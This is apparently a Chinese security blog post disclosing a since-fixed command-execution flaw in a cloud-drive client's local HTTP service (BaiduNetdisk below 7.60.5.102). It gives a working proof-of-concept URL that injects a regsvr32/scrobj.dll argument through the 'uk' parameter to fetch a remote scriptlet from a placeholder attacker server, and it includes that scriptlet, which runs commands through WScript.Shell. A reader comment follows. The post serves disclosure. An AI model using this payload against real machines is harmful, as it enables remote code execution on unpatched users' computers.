(已修复)某云盘客户端命令执行漏洞
某云盘为了提供本地客户端拉起功能,在本地启动了一个服务,监听了一个 HTTP 协议的端口,该服务某参数可控导致命令执行。
我们知道微软提供了协议注册功能(myapp://),用于拉起客户端,有些厂商为了实现更多的自定义功能和传入参数,自己使用进程驻留的方式提供拉起服务。
影响版本:<7.60.5.102
POC:
复制
https://127.0.0.1:10000/?method=OpenSafeBox&uk=a%20-install%20regdll%20%22C:\\windows\\system32\\scrobj.dll\%22%20/u%20/i:http://[恶意文件服务器地址]/poc.xml%20\%22\\..\\..\\..\\..\\..\\..\\..\\Users\[用户名]\AppData\Roaming\baidu\BaiduNetdisk\\%22
poc.xml:
复制
<?XML version="1.0"?>
<scriptlet>
<registration progid="poc" classid="{10001111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript"><![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");
]]>
</script>
</registration>
</scriptlet>
根据上面的 POC 和 poc.xml 可以看到,该程序的本地服务 uk 参数可控,且未过滤,通过 uk 传入参数调用 scrobj.dll 进行服务注册,/i 参数支持远程 xml。又因为 xml 支持 CDATA、js、ActiveX,那么可以直接调用系统命令,最终实现任意命令执行。
该漏洞仅需要知晓对方计算机用户名,一般都是 administrator、admin、pc
复现情况:

哥 这么多网安相关的知识平时都是在哪里获取啊